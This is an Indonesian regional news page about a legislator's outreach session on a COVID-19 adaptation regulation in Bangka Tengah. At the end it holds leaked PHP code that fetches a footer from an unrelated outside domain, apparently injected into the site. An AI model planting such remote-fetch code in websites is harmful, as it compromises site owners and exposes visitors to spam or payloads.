H. Mulyadi Sebarkan Perda No.10 Tahun 2020 untuk Warga Bangka Tengah

Selasa, 11 Mei 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Bangka Tengah – Anggota DPRD Babel dari fraksi amanat demokrat, H. Mulyadi, menyelenggarakan kegiatan penyebarluasan perda no 10 tahun 2020 untuk masyarakat Bangka Tengah dan sekitarnya. Antusiasme warga pun terlihat dengan hadirnya puluhan warga yang mendatangi Hotel Grand Vella, tempat kegiatan dilangsungkan, Senin (10/11). Hadir juga mantan Satgas Covid untuk wilayah Bangka Tengah, dr Bahrun sebagai narasumber tambahan.

Baca Juga:  Yoga Nursiwan, Ajak Generasi Milenial Sebagai Pelopor Pembangunan

Dalam sambutannya, Mulyadi mengatakan bahwa perda ini dibuat untuk mengatur tata cara pelaksanaan adaptasi kebiasaan baru di masa pandemi covid sekarang. Apalagi saat ini Babel berada di urutan 3 besar untuk angka penyebaran covid 19, maka masyarakat perlu mengetahui secara detail bagaimana melaksanakan new normal ini dalam rangka memutus mata rantai penyebaran covid 19 di Bangka Belitung.

“Secara detail perda ini ada 37 pasal, yang mana dari pasal tersebut mengatur tata cara pelaksanaan adaptasi kebiasan baru. Ini yang bapak ibu harus pahami, supaya kita bisa menjaga sesama.” Ujarnya.

Baca Juga:  Aksan Visyawan: Keterbukaan Informasi Hak Masyarakat untuk Tahu

Dirinya pun berharap, warga yang hadir saat acara ini dapat berkontribusi menyampaikan perda ini juga ke warga lain yang belum sempat hadir.

Dalam kesempatan yang sama, dr Baharun, menjelaskan bahwa covid19 sekarang sudah berevolusi serta menjelaskan gejala-gejala utama seseorang terdampak covid 19.

Baca Juga:  PT Victorindo Alam Lestari Hutalombang Menggelar Pasar Murah 

“Di Bangka Tengah sendiri ada beberapa wilayah yang terdampak, virus ini sangat mudah bergerak, nah perda ini salah satu aksi dari pemprov dan DPRD dalam mencegah penularan covid19. ” Ujarnya.

“Untuk itu saya menghimbau kepada masyarakat untuk tetap mengikuti prokes yang sudah ditetapkan.” Pungkasnya.(Jenny/Andri)

Sumber Setwan Babel

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat
Perdana SEKDA Tanjab Barat berikan Arahan dalam Rakor KADES dan BPD
Bupati Tanjab Barat lantik Hermansyah sebagai Sekda

Berita Terkait

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Senin, 23 September 2024 - 21:52 WIB

KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 

Minggu, 22 September 2024 - 11:04 WIB

Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>